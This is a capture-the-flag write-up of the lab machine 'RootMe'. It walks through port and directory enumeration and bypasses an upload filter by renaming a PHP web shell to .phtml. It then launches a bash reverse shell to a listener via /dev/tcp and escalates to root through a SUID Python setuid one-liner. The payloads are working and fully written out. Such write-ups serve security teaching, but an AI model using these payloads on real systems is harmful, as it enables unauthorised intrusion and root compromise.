RootMe: Exploiting a Weak Upload Filter
Machine: RootMe
Introduction
RootMe is a small Linux target, but it is a good example of how a couple of ordinary mistakes can line up into full compromise. The foothold came from a file upload feature that blocked .php but still allowed a PHP-executable alternative extension, and the box ended with a local misconfiguration that left Python running with SUID.
What made it worth writing up was not difficulty for its own sake. The path worked because the web layer trusted a superficial check, and the host itself still had a privilege escalation route waiting behind it. Neither issue was exotic, but together they were enough.
Initial Enumeration
I started with a full TCP scan to understand what was actually exposed.
nmap -sC -sV -p- -T4 TARGET
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
80/tcp open http Apache httpd 2.4.41 (Ubuntu)
http-title: HackIT - Home
Only SSH and HTTP were open. I did not spend much time on SSH at that stage because there were no usernames, keys, or credentials to work with yet, while the web service already looked custom and much more likely to contain the intended entry point.
I checked the homepage first.
curl http://TARGET
<title>HackIT - Home</title>
...
Can you root me?
The site itself was minimal, so I moved straight into content discovery.
gobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -t 50
/index.php (Status: 200)
/panel/ (Status: 301)
/uploads/ (Status: 301)
/css/ (Status: 301)
/js/ (Status: 301)
The two paths that mattered were /panel/ and /uploads/. On their own they would not mean much, but together they were exactly the kind of pairing I wanted to inspect: one looked like an upload interface, the other looked like a storage location I might be able to reach directly.
Inspecting the Web Application
I checked both paths manually.
curl http://TARGET/panel/
curl http://TARGET/uploads/
<form action="" method="POST" enctype="multipart/form-data">
<p>Select a file to upload:</p>
<input type="file" name="fileUpload">
<title>Index of /uploads</title>
<h1>Index of /uploads</h1>
That was the first real lead. /panel/ exposed a file upload form, and /uploads/ had directory listing enabled. At that point I still did not know whether uploaded files would be executed, but it was enough to justify pushing on the upload path rather than detouring into blind SSH guessing.
Testing the Upload Filter
I created a minimal PHP web shell and tried the obvious extension first.
cat > shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
curl -F "fileUpload=@shell.php" -F "submit=Upload" http://TARGET/panel/
<p class='erro'>PHP não é permitido!</p>
A normal .php file was blocked. That did not shut the path down, though. It usually means the application is checking the filename more than it is checking whether the server can interpret the file as code.
Because Apache and PHP commonly accept alternative extensions, I tried the same payload again as .phtml.
cp shell.php shell.phtml
curl -F "fileUpload=@shell.phtml" -F "submit=Upload" http://TARGET/panel/
<p class='success'>O arquivo foi upado com sucesso!</p>
<a href='../uploads/shell.phtml'>Veja!</a>
That was enough. The application blocked .php, but accepted .phtml, and it returned a direct link to the uploaded file.
From Upload to Code Execution
The next step was to verify whether the file was only stored or actually executed.
curl "http://TARGET/uploads/shell.phtml?cmd=id"
curl "http://TARGET/uploads/shell.phtml?cmd=pwd"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/uploads
The file was executing as www-data, so the upload bug was now a working web shell.
Before switching to a reverse shell, I used that access to get a quick feel for the host.
curl "http://TARGET/uploads/shell.phtml?cmd=ls%20-la%20/var/www/html"
curl "http://TARGET/uploads/shell.phtml?cmd=ls%20-la%20/home"
Website.zip
css
index.php
js
panel
uploads
rootme
test
ubuntu
I also pulled Website.zip and unpacked it locally. That step did not create the foothold, so I did not treat it as a major pivot, but it helped confirm what the upload filter was doing: the application was trying to blacklist one extension, not prevent server-side execution in any serious way.
Switching to a Reverse Shell
The web shell was enough for one-off commands, but it was clumsy for local enumeration, so I moved to a reverse shell.
First I opened a listener:
nc -lvnp 4444
Then I triggered a Bash callback through the uploaded shell:
curl "http://TARGET/uploads/shell.phtml?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/LISTENER_IP/4444%200>%261'"
On the listener I received the connection:
connect to [LISTENER_IP] from (UNKNOWN) [TARGET] 39868
bash: cannot set terminal process group
bash: no job control in this shell
www-data@target:/var/www/html/uploads$
That gave me a real shell, but it was still rough. I spent a moment stabilizing it because basic local work becomes unnecessarily annoying without a usable TTY.
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
script /dev/null -c bash
I did not need a perfect terminal, just one stable enough to move around, inspect the system, and test privilege escalation paths without fighting the shell the whole time.
Local Enumeration
Once the shell was usable, I gathered the usual host information.
whoami
id
uname -a
cat /etc/os-release
cat /etc/passwd
www-data
uid=33(www-data) gid=33(www-data)
Ubuntu 20.04.6 LTS
...
rootme:x:1000:1000:RootMe:/home/rootme:/bin/bash
test:x:1001:1001:...
ubuntu:x:1002:1003:Ubuntu:/home/ubuntu:/bin/bash
I checked the home directories first because that is the obvious place to look for a user flag.
cd /home
ls
cd /home/rootme
ls
ls -a
rootme test ubuntu
.bash_history .bashrc .gnupg .sudo_as_admin_successful
That did not give me anything useful besides confirming the user layout. Since the expected place came up empty, I stopped assuming the flag would be in a home directory and searched for it directly.
find / -name user.txt 2>/dev/null
/var/www/user.txt
I read it from there:
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
That was a small but useful reminder not to overfit to the usual CTF structure. The foothold was already in the web root, and the user flag was there too.
Privilege Escalation
I checked sudo -l early just in case there was an easy win, but it did not lead anywhere useful. Without a good terminal it complained about TTY requirements, and once the shell was improved it only prompted for a password. There was no shortcut there.
So I moved on to SUID enumeration.
find / -perm -4000 2>/dev/null
/usr/bin/python2.7
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/passwd
...
/usr/bin/python2.7 was the one that mattered. A SUID Python interpreter is dangerous because it can be used to change the effective UID and spawn a root shell directly.
I used it with a short Python one-liner:
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
Then I verified the new context and read the root flag.
whoami
cd /root
ls
cat root.txt
root
root.txt
THM{pr1v1l3g3_3sc4l4t10n}
That completed the box.
Conclusion
The attack chain was simple, but it held together for the right reasons. I got in through a file upload feature that treated upload security as an extension blacklist, not an execution problem. Once that gave me code execution as www-data, the rest came down to disciplined local enumeration and noticing that Python had no business being SUID.
That is what made RootMe worth documenting. It is a clean example of how weak validation at the application layer and weak hardening on the host can reinforce each other. Blocking .php is not meaningful protection if .phtml still executes, and a low-privilege foothold is not much of a boundary when an interpreter can promote itself to root.